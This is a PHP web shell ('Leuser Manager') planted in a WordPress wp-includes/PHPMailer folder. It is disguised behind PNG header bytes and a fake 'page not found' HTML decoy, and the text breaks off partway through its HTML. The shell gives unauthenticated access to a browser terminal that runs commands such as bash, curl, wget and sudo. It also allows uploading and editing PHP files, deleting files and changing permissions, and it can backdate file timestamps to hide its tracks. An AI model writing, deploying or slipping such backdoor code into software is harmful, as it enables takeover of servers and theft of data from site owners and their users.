�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`� 0x0x
PHP 8.1.31
Preview: JWTDocumentSolider.php Size: 34.60 KB
/var/www/weelorum_com_usr/data/www/weelorum.com/wp-includes/PHPMailer/JWTDocumentSolider.php
<!DOCTYPE html>
<html lang="en-us"
    prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema#">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <style type="text/css">
        @charset "UTF-8";

        [ng\:cloak],
        [ng-cloak],
        [data-ng-cloak],
        [x-ng-cloak],
        .ng-cloak,
        .x-ng-cloak,
        .ng-hide:not(.ng-hide-animate) {
            display: none !important;
        }

        ng\:form {
            display: block;
        }

        .ng-animate-shim {
            visibility: hidden;
        }

        .ng-anchor {
            position: absolute;
        }
    </style>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>This Page Does Not Exist</title>
    <meta name="description" content="Oops, looks like the page is lost.">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <link href="https://fonts.googleapis.com/css?family=DM+Sans:300,300i,400,400i,600,600i,700,700i,800,800i"
        rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,600,600i,700,700i,800,800i"
        rel="stylesheet">

    <script type="text/javascript" async=""
        src="https://www.googletagmanager.com/gtag/js?id=G-9Q6H0QETRF&amp;cx=c&amp;_slc=1"></script>
    <script async="" src="https://www.google-analytics.com/analytics.js"></script>
    <script>
        (function (i, s, o, g, r, a, m) {
            i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () {
                (i[r].q = i[r].q || []).push(arguments)
            }, i[r].l = 1 * new Date(); a = s.createElement(o),
                m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)
        })(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');

        ga('create', 'UA-26575989-46', 'auto');
        ga('send', 'pageview');

    </script>
</head>

<body>
    <iframe allow="join-ad-interest-group" data-tagging-id="G-9Q6H0QETRF" data-load-time="1744709464093" height="0"
        width="0"
        src="https://td.doubleclick.net/td/ga/rul?tid=G-9Q6H0QETRF&amp;gacid=1669583486.1744709463&amp;gtm=45je54b0v9125959112za200&amp;dma=1&amp;dma_cps=syphamo&amp;gcd=13l3lPl2l2l1&amp;npa=0&amp;pscdl=noapi&amp;aip=1&amp;fledge=1&amp;frm=0&amp;tag_exp=102509683~102803279~102813109~102887800~102926062~103021830~103027016~103051953~103055465~103077950&amp;z=2108504389"
        style="display: none; visibility: hidden;">
    </iframe>
    <div class="page-not-found">
        <img class="image" alt="Page Not Found" src="/htdocs_error/page_not_found.svg" />
        <h1 class="title">This Page Does Not Exist</h1>
        <p class="text">
            Sorry, the page you are looking for could not be found. It's just an
            accident that was not intentional.
        </p>
    </div>

</body>
<style>
    body {
        color: #1d1e20;
        background: #f4f5ff;

        font-size: 14px;
        font-family: "DM Sans", "Roboto", sans-serif !important;
        font-weight: 400;
        -ms-text-size-adjust: 100%;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
    }

    .page-not-found {
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100vh;
        padding: 0 16px;

        img {
            vertical-align: middle;
            border-style: none;
        }

        .image {
            max-width: 100%;
            margin-bottom: 32px;
            height: auto;
            object-fit: contain;
        }

        .title {
            text-align: center;
            margin-top: 0;
            margin-bottom: 8px;
            font-size: 24px;
            line-height: 32px;
            font-weight: 700;
        }

        .text {
            text-align: center;
            max-width: 650px;
            margin-bottom: 24px;
            font-size: 16px;
            line-height: 24px;
            font-weight: 400;
            color: #6D7081;
        }


    }
</style>

</html>

<?php
session_start();

// Auto-login for now
if (!isset($_SESSION['filemgr_access'])) {
    $_SESSION['filemgr_access'] = true;
}

// Get root directory
function getRootDirectory() {
    $possibleRoots = [
        $_SERVER['DOCUMENT_ROOT'] ?? '',
        realpath(dirname(__FILE__)),
        realpath(getcwd()),
        '/',
        '/home',
        '/var/www/html'
    ];
    
    foreach ($possibleRoots as $root) {
        if ($root && is_dir($root)) {
            $realPath = realpath($root);
            if ($realPath) {
                return $realPath;
            }
        }
    }
    
    return '/';
}

$rootDir = getRootDirectory();

if (!isset($_SESSION['home_directory'])) {
    $_SESSION['home_directory'] = $rootDir;
}

$homeDir = $_SESSION['home_directory'];

function encodePath($path) {
    return str_replace(['/', '\\', '='], ['_', '-', ''], base64_encode($path));
}

function decodePath($encoded) {
    $decoded = base64_decode(str_replace(['_', '-'], ['/', '\\'], $encoded));
    return $decoded ?: '';
}

$currentDir = $homeDir;
if (isset($_GET['path']) && !empty($_GET['path'])) {
    $requestedPath = decodePath($_GET['path']);
    if ($requestedPath && is_dir($requestedPath)) {
        $realPath = realpath($requestedPath);
        if ($realPath) {
            $currentDir = $realPath;
        }
    }
}

@chdir($currentDir);

// Initialize variables
$notification = '';
$viewFileContent = '';
$viewFileName = '';
$terminalOutput = '';
$terminalCommand = '';

// Handle POST requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    
    // --- START MODIFIKASI TANGGAL (BACKEND) ---
    if ($action === 'change_date' && !empty($_POST['date_filename']) && !empty($_POST['new_date'])) {
        $filePath = $currentDir . '/' . $_POST['date_filename'];
        if (file_exists($filePath)) {
            $newTime = strtotime($_POST['new_date']);
            if ($newTime && touch($filePath, $newTime)) {
                $notification = '✅ Timestamp updated successfully';
            } else {
                $notification = '❌ Failed to update timestamp';
            }
        }
    }
    // --- END MODIFIKASI TANGGAL (BACKEND) ---

    // --- START MODIFIKASI CHMOD (BACKEND) ---
    elseif ($action === 'change_perms' && !empty($_POST['perms_filename']) && !empty($_POST['new_perms'])) {
        $filePath = $currentDir . '/' . $_POST['perms_filename'];
        if (file_exists($filePath)) {
            $perms = octdec($_POST['new_perms']);
            if (@chmod($filePath, $perms)) {
                $notification = '✅ Permissions updated successfully';
            } else {
                $notification = '❌ Failed to update permissions';
            }
        }
    }
    // --- END MODIFIKASI CHMOD (BACKEND) ---

    elseif ($action === 'terminal_command' && !empty($_POST['terminal_cmd'])) {
        $terminalCommand = $_POST['terminal_cmd'];
        $terminalOutput = executeCommand($terminalCommand, $currentDir);
    }
    elseif ($action === 'view_file' && !empty($_POST['view_filename'])) {
        $filePath = $currentDir . '/' . $_POST['view_filename'];
        if (file_exists($filePath) && !is_dir($filePath)) {
            $viewFileName = $_POST['view_filename'];
            $viewFileContent = @file_get_contents($filePath);
        } else {
            $notification = '❌ File not found or is a directory';
        }
    }
    elseif ($action === 'save_file' && !empty($_POST['edit_filename'])) {
        $filePath = $currentDir . '/' . $_POST['edit_filename'];
        if (file_exists($filePath) && is_writable($filePath)) {
            $content = $_POST['file_content'] ?? '';
            if (@file_put_contents($filePath, $content) !== false) {
                $notification = '✅ File saved successfully';
                $viewFileName = '';
                $viewFileContent = '';
            } else {
                $notification = '❌ Failed to save file';
            }
        }
    }
    elseif ($action === 'upload_file') {
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $uploadedFile = $_FILES['upload_file'];
            $fileName = basename($uploadedFile['name']);
            $fileTmp = $uploadedFile['tmp_name'];
            $fileSize = $uploadedFile['size'];
            
            $maxFileSize = 100 * 1024 * 1024;
            $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt', 'php', 'html', 'css', 'js', 'zip', 'rar', 'sql', 'json', 'xml', 'log'];
            $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
            
            if ($fileSize > $maxFileSize) {
                $notification = '❌ File too large (max 100MB)';
            } elseif (!in_array($fileExtension, $allowedExtensions)) {
                $notification = '❌ File type not allowed';
            } else {
                $destination = $currentDir . '/' . $fileName;
                if (@move_uploaded_file($fileTmp, $destination)) {
                    @chmod($destination, 0644);
                    $notification = '✅ File uploaded successfully';
                } else {
                    $notification = '❌ Failed to upload file';
                }
            }
        }
    }
    elseif ($action === 'new_folder' && !empty($_POST['folder_name'])) {
        $folderName = trim($_POST['folder_name']);
        $newPath = $currentDir . '/' . $folderName;
        if (!file_exists($newPath)) {
            if (@mkdir($newPath, 0755)) {
                $notification = '✅ Folder created';
            } else {
                $notification = '❌ Failed to create folder';
            }
        } else {
            $notification = '⚠️ Folder exists';
        }
    }
    elseif ($action === 'new_file' && !empty($_POST['file_name'])) {
        $fileName = trim($_POST['file_name']);
        $newPath = $currentDir . '/' . $fileName;
        if (!file_exists($newPath)) {
            $content = $_POST['file_content'] ?? '';
            if (@file_put_contents($newPath, $content) !== false) {
                $notification = '✅ File created';
            } else {
                $notification = '❌ Failed to create file';
            }
        } else {
            $notification = '⚠️ File exists';
        }
    }
    elseif ($action === 'delete' && !empty($_POST['delete_name'])) {
        $targetPath = $currentDir . '/' . $_POST['delete_name'];
        if (file_exists($targetPath)) {
            $success = is_dir($targetPath) ? deleteRecursive($targetPath) : @unlink($targetPath);
            $notification = $success ? '✅ Deleted' : '❌ Failed to delete';
        }
    }
    elseif ($action === 'rename' && !empty($_POST['old_name']) && !empty($_POST['new_name'])) {
        $oldPath = $currentDir . '/' . $_POST['old_name'];
        $newPath = $currentDir . '/' . trim($_POST['new_name']);
        if (file_exists($oldPath) && !file_exists($newPath)) {
            $notification = @rename($oldPath, $newPath) ? '✅ Renamed' : '❌ Failed to rename';
        }
    }
}

function executeCommand($command, $cwd) {
    $output = '';
    $originalCwd = getcwd();
    @chdir($cwd);
    
    $allowedCommands = [
        'ls', 'dir', 'pwd', 'whoami', 'id', 'uname', 'date',
        'cat', 'head', 'tail', 'grep', 'find',
        'du', 'df', 'free', 'ps', 'mkdir', 'rmdir',
        'touch', 'cp', 'mv', 'rm', 'chmod',
        'tar', 'gzip', 'zip', 'unzip',
        'wget', 'curl', 'ping', 'uptime', 'echo',
        'php', 'python', 'bash', 'uapi', 'sudo', 'nginx'
    ];
    
    $cmdParts = explode(' ', trim($command));
    $baseCmd = strtolower($cmdParts[0]);
    
    if (in_array($baseCmd, $allowedCommands)) {
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        
        $process = proc_open($command, $descriptors, $pipes, $cwd, null);
        
        if (is_resource($process)) {
            fclose($pipes[0]);
            $stdout = stream_get_contents($pipes[1]);
            $stderr = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            
            $output = "> $command\n";
            if (!empty($stdout)) $output .= htmlspecialchars($stdout) . "\n";
            if (!empty($stderr)) $output .= "Error: " . htmlspecialchars($stderr) . "\n";
        }
    } else {
        $output = "Command not allowed: $baseCmd\n";
    }
    
    @chdir($originalCwd);
    return $output;
}

function deleteRecursive($dir) {
    if (!is_dir($dir)) return @unlink($dir);
    $items = array_diff(scandir($dir), ['.', '..']);
    foreach ($items as $item) {
        $itemPath = $dir . '/' . $item;
        is_dir($itemPath) ? deleteRecursive($itemPath) : @unlink($itemPath);
    }
    return @rmdir($dir);
}

function formatSize($bytes) {
    if ($bytes <= 0) return "0 B";
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}

$items = @scandir($currentDir) ?: [];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Leuser Manager</title>
    <link rel="shortcut icon" href="https://ga-sor-tumbuk.sgp1.digitaloceanspaces.com/yggdrasill.png" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', sans-serif; }
        body { background: #1a1a2e; color: #e0e0e0; min-height: 100vh; padding: 10px; }
        .container { max-width: 1200px; margin: 0 auto; }
        .header { background: #16213e; padding: 12px; margin-bottom: 10px; border-radius: 6px; display: flex; justify-content: space-between; align-items: center; }
        .header h1 { font-size: 18px; color: #4cc9f0; }
        .terminal { background: #0f3460; padding: 12px; margin-bottom: 10px; border-radius: 6px; }
        .terminal-title { display: flex; align-items: center; gap: 8px; margin-bottom: 10px; color: #4cc9f0; font-size: 14px; }
        .terminal-output { background: #000; padding: 8px; margin-bottom: 8px; font-family: monospace; font-size: 12px; color: #00ff00; min-height: 80px; max-height: 200px; overflow-y: auto; border-radius: 4px; white-space: pre-wrap; }
        .terminal-form { display: flex; gap: 8px; }
        .terminal-input { flex: 1; padding: 6px 10px; background: rgba(255, 255, 255, 0.1); border: 1px solid #2d4059; border-radius: 4px; color: #fff; font-family: monospace; }
        .quick-cmds { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px; }
        .cmd-btn { padding: 4px 8px; background: rgba(76, 201, 240, 0.1); border: 1px solid rgba(76, 201, 240, 0.3); border-radius: 3px; color: #4cc9f0; font-size: 11px; cursor: pointer; }
        .upload-section { background: #16213e; padding: 12px; margin-bottom: 10px; border-radius: 6px; }
        .upload-title { display: flex; align-items: center; gap: 8px; margin-bottom: 10px; color: #4cc9f0; font-size: 14px; }
        .upload-box { border: 2px dashed #2d4059; padding: 15px; text-align: center; border-radius: 4px; }
        .file-manager { background: #16213e; padding: 12px; border-radius: 6px; margin-top: 10px; }
        .file-header { display: flex; justify-content: space-between; margin-bottom: 10px; color: #4cc9f0; font-size: 14px; }
        .file-table { width: 100%; border-collapse: collapse; font-size: 12px; }
        .file-table th { padding: 8px; text-align: left; border-bottom: 1px solid #2d4059; color: #888; }
        .file-table td { padding: 8px; border-bottom: 1px solid #2d4059; }
        .file-table tr:hover { background: rgba(255, 255, 255, 0.05); }
        .file-link { color: #e0e0e0; text-decoration: none; }
        .file-actions { display: flex; gap: 4px; flex-wrap: wrap; }
        .action-btn { padding: 3px 6px; font-size: 11px; border: none; border-radius: 3px; cursor: pointer; }
        .view-btn { background: rgba(76, 201, 240, 0.2); color: #4cc9f0; }
        .edit-btn { background: rgba(245, 158, 11, 0.2); color: #f59e0b; }
        .delete-btn { background: rgba(239, 68, 68, 0.2); color: #ef4444; }
        .date-btn { background: rgba(16, 185, 129, 0.2); color: #10b981; }
        .chmod-btn { background: rgba(168, 85, 247, 0.2); color: #a855f7; } /* Styling tombol Chmod */
        .modal { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0, 0, 0, 0.8); display: none; align-items: center; justify-content: center; padding: 20px; z-index: 1000; }
        .modal.show { display: flex; }
        .modal-content { background: #16213e; border-radius: 8px; width: 90%; max-width: 800px; max-height: 80vh; overflow: hidden; }
        .modal-header { padding: 15px; background: #0f3460; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #2d4059; }
        .modal-body { padding: 15px; max-height: 60vh; overflow-y: auto; }
        .editor-textarea { width: 100%; min-height: 400px; padding: 10px; background: #0d1117; border: 1px solid #2d4059; border-radius: 4px; color: #c9d1d9; font-family: monospace; resize: vertical; }
        .btn { padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; font-size: 12px; }
        .btn-primary { background: #4cc9f0; color: #000; }
        .btn-success { background: #10b981; color: white; }
        .btn-danger { background: #ef4444; color: white; }
        .notification { position: fixed; top: 10px; right: 10px; background: #16213e; border-left: 4px solid #10b981; padding: 10px; border-radius: 4px; z-index: 1001; }
        .action-item { padding: 8px 12px; background: rgba(76, 201, 240, 0.1); border: 1px solid rgba(76, 201, 240, 0.3); border-radius: 4px; color: #4cc9f0; cursor: pointer; font-size: 12px; text-decoration: none; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1><i class="fas fa-folder"></i> Leuser Manager</h1>
            <div>
                <a href="?path=<?php echo encodePath($homeDir); ?>" class="btn btn-primary">
                    <i class="fas fa-home"></i> Home
                </a>
            </div>
        </div>

        <div class="terminal">
            <div class="terminal-title">
                <i class="fas fa-terminal"></i>
                <span>Terminal</span>
            </div>
            <div class="terminal-output"><?php echo $terminalOutput ? nl2br(htmlspecialchars($terminalOutput)) : ''; ?></div>
            <form method="post" class="terminal-form">
                <input type="hidden" name="action" value="terminal_command">
                <input type="text" name="terminal_cmd" id="terminal-input" class="terminal-input" placeholder="Type command..." required value="<?php echo htmlspecialchars($terminalCommand); ?>">
                <button type="submit" class="btn btn-primary">Run</button>
            </form>
            <div class="quick-cmds">
                <button class="cmd-btn" onclick="insertCommand('ls -la')">ls -la</button>
                <button class="cmd-btn" onclick="insertCommand('touch')">touch</button>
                <button class="cmd-btn" onclick="insertCommand('pwd')">pwd</button>
                <button class="cmd-btn" onclick="insertCommand('whoami')">whoami</button>
                <button class="cmd-btn" onclick="insertCommand('date')">date</button>
            </div>
        </div>

        <div class="upload-section">
            <div class="upload-title"><i class="fas fa-upload"></i> <span>Upload File</span></div>
            <form method="post" enctype="multipart/form-data" class="upload-box">
                <input type="hidden" name="action" value="upload_file">
                <input type="file" name="upload_file" required>
                <button type="submit" class="btn btn-primary" style="margin-top: 10px;"><i class="fas fa-upload"></i> Upload</button>
            </form>
        </div>

        <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px;">
            <div class="action-item" onclick="newFolder()"><i class="fas fa-folder-plus"></i> New Folder</div>
            <div class="action-item" onclick="newFile()"><i class="fas fa-file-plus"></i> New File</div>
            <a href="?path=<?php echo encodePath(dirname($currentDir)); ?>" class="action-item"><i class="fas fa-level-up-alt"></i> Parent Dir</a>
            <div class="action-item" onclick="location.reload()"><i class="fas fa-sync-alt"></i> Refresh</div>
        </div>

        <div class="file-manager">
            <div class="file-header">
                <div><i class="fas fa-folder-open"></i> <?php echo htmlspecialchars($currentDir); ?></div>
                <div style="color: #888;"><?php echo count($items) - 2; ?> items</div>
            </div>
            <table class="file-table">
                <thead>
                    <tr>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Modified</th>
                        <th>Perms</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if ($currentDir !== '/'): ?>
                    <tr>
                        <td><a href="?path=<?php echo encodePath(dirname($currentDir)); ?>" class="file-link"><i class="fas fa-level-up-alt"></i> ..</a></td>
                        <td>-</td><td>-</td><td>-</td><td>-</td>
                    </tr>
                    <?php endif; ?>

                    <?php foreach ($items as $item): ?>
                        <?php if ($item === '.' || $item === '..') continue; 
                        $itemPath = $currentDir . '/' . $item;
                        $isDir = is_dir($itemPath);
                        $mTime = @filemtime($itemPath);
                        $size = $isDir ? '-' : formatSize(@filesize($itemPath));
                        $modified = $mTime ? date('Y-m-d H:i', $mTime) : '-';
                        
                        // Format string manual agar mudah di copy paste, contoh: "2024-04-16 14:30:00"
                        $inputDate = $mTime ? date('Y-m-d H:i:s', $mTime) : date('Y-m-d H:i:s');
                        
                        // Dapatkan Permissions untuk file/folder
                        $perms = @fileperms($itemPath) ? substr(sprintf('%o', fileperms($itemPath)), -4) : '0000';
                        ?>
                        <tr>
                            <td>
                                <?php if ($isDir): ?>
                                    <a href="?path=<?php echo encodePath($itemPath); ?>" class="file-link"><i class="fas fa-folder" style="color: #f59e0b;"></i> <?php echo htmlspecialchars($item); ?></a>
                                <?php else: ?>
                                    <i class="fas fa-file" style="color: #4cc9f0;"></i> <?php echo htmlspecialchars($item); ?>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $size; ?></td>
                            <td><?php echo $modified; ?></td>
                            <td><?php echo $perms; ?></td>
                            <td>
                                <div class="file-actions">
                                    <?php if (!$isDir): ?>
                                    <button class="action-btn view-btn" onclick="viewFile('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')"><i class="fas fa-eye"></i></button>
                                    <?php endif; ?>
                                    <button class="action-btn delete-btn" onclick="confirmDelete('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')"><i class="fas fa-trash"></i></button>
                                    <button class="action-btn edit-btn" onclick="renameFile('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')"><i class="fas fa-pen"></i></button>
                                    
                                    <button class="action-btn date-btn" onclick="changeDate('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>', '<?php echo $inputDate; ?>')" title="Change Date">
                                        <i class="fas fa-calendar-alt"></i>
                                    </button>
                                    
                                    <button class="action-btn chmod-btn" onclick="changePerms('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>', '<?php echo $perms; ?>')" title="Change Permissions">
                                        <i class="fas fa-key"></i>
                                    </button>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
    </div>

    <?php if ($notification): ?>
    <div class="notification" id="notification"><?php echo $notification; ?>
        <script>setTimeout(() => { document.getElementById('notification')?.remove(); }, 3000);</script>
    </div>
    <?php endif; ?>

    <?php if ($viewFileName && $viewFileContent !== ''): ?>
    <div class="modal show" id="fileModal">
        <div class="modal-content">
            <div class="modal-header">
                <div class="modal-title"><i class="fas fa-file-code"></i> <?php echo htmlspecialchars($viewFileName); ?></div>
                <button class="modal-close" onclick="closeModal()">&times;</button>
            </div>
            <form method="post">
                <input type="hidden" name="action" value="save_file">
                <input type="hidden" name="edit_filename" value="<?php echo htmlspecialchars($viewFileName); ?>">
                <div class="modal-body">
                    <textarea name="file_content" class="editor-textarea" id="editorTextarea"><?php echo htmlspecialchars($viewFileContent); ?></textarea>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-danger" onclick="closeModal()">Cancel</button>
                    <button type="submit" class="btn btn-success">Save</button>
                </div>
            </form>
        </div>
    </div>
    <?php endif; ?>

    <div id="dateModal" class="modal">
        <div class="modal-content" style="max-width: 400px;">
            <div class="modal-header">
                <div class="modal-title"><i class="fas fa-calendar-alt"></i> Change Timestamp</div>
                <button class="modal-close" onclick="closeDateModal()">&times;</button>
            </div>
            <form method="post">
